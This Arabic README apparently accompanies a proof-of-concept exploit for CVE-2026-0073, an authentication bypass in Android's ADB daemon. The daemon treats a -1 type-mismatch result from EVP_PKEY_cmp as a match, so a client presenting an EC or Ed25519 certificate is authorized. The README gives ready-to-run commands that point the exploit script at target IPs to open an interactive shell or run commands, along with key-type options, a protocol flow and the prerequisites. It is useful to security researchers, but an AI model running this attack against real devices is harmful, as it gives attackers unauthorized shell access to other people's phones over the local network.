
CVE-2026-0073 — تجاوز مصادقة TLS في خدمة ADB بنظام أندرويد (adbd) عبر التباس نوع EVP_PKEY_cmp. الحصول على وصول غير مصرح به إلى الصدفة عبر WiFi باستخدام عدم تطابق مفاتيح EC/Ed25519. استغلال PoC لأندرويد 14+.
EVP_PKEY_cmp() خلط الأنواع ← وصول غير مصرح به إلى ADB shellتجاوز مصادقة حرج في خدمة ADB في أندرويد (adbd) يسمح لأي مهاجم على الشبكة المحلية بالحصول على shell كامل على الجهاز المستهدف دون إذن المستخدم.
توجد الثغرة في adbd_tls_verify_cert() داخل daemon/auth.cpp، حيث يتم استخدام EVP_PKEY_cmp() كقيمة منطقية. عندما يكون المفتاح المخزن RSA ويحمل شهادة عميل TLS المقدمة مفتاحًا غير RSA (EC P-256 أو Ed25519)، فإن EVP_PKEY_cmp() تُرجع -1 (عدم تطابق النوع)، وهو قيمة صحيحة في C/C++، لذا يصبح authorized = true.
// نمط الكود الضعيف في daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← خطأ: -1 قيمة صحيحة!
authorized = true;
}
pip install cryptography
# shell تفاعلي
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# تنفيذ أمر واحد
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# وضع تفصيلي (رؤية تتبع البروتوكول الكامل)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
افتراضيًا، يحاول السكربت تلقائيًا EC P-256 ← Ed25519 ← EC/TLS 1.2 حتى ينجح أحدها.
المهاجم الهدف (adbd)
│ │
│──── اتصال TCP ────────────────────►│
│──── CNXN (نص واضح) ───────────────►│
│◄─── STLS (طلب ترقية TLS) ─────────│
│──── رد STLS ──────────────────────►│
│ │
│════ مصافحة TLS 1.3 ═══════════════│
│ (شهادة عميل EC P-256 مقدمة) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 قيمة صحيحة → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (معلومات الجهاز) ────────│
│──── OPEN "shell:" ────────────────►│
│◄─── OKAY ─────────────────────────│
│◄──► WRTE/OKAY (إدخال/إخراج shell) │
│ │
[وصول كامل إلى shell] │
| المتطلب | التفاصيل |
|---|
⚠️ مهم: يجب أن يكون مفتاح RSA في
/data/misc/adb/adb_keys، والذي يتم ملؤه عبر إقران تصحيح USB (قبول نافذة "السماح بتصحيح USB؟"). إقران التصحيح اللاسلكي (adb pair) يخزن المفاتيح في موقع مختلف (adb_known_hosts.pb) ولا يفي بهذا المتطلب.
adb shell getprop ro.build.version.security_patch
تم اختباره وتأكيد عمله على:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
يتضمن هذا الفرع عدة تحسينات:
select() لدعم عبر المنصات-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # سكربت الاستغلال الرئيسي
└── README.md # هذا الملف
هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن مناسب قبل الاختبار. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.
إذا ساعدك هذا في بحثك، اترك ⭐
قيمة EVP_PKEY_cmp() | المعنى | صحيحة في C؟ | النتيجة |
|---|
1 | المفاتيح متطابقة | ✅ | مصرح (صحيح) |
0 | المفاتيح مختلفة | ❌ | مرفوض (صحيح) |
-1 | عدم تطابق النوع | ✅ | مصرح (خطأ) |
| خيارات المطور | مفعّلة على الجهاز المستهدف |
| التصحيح اللاسلكي | مفعّل (أو ADB عبر TCP على المنفذ 5555) |
| مفتاح RSA مخزن | يجب أن يكون الجهاز قد تم إقرانه عبر USB مرة واحدة على الأقل (/data/misc/adb/adb_keys) |
| الوصول إلى الشبكة | يجب أن يصل المهاجم إلى منفذ TCP الخاص بـ adbd |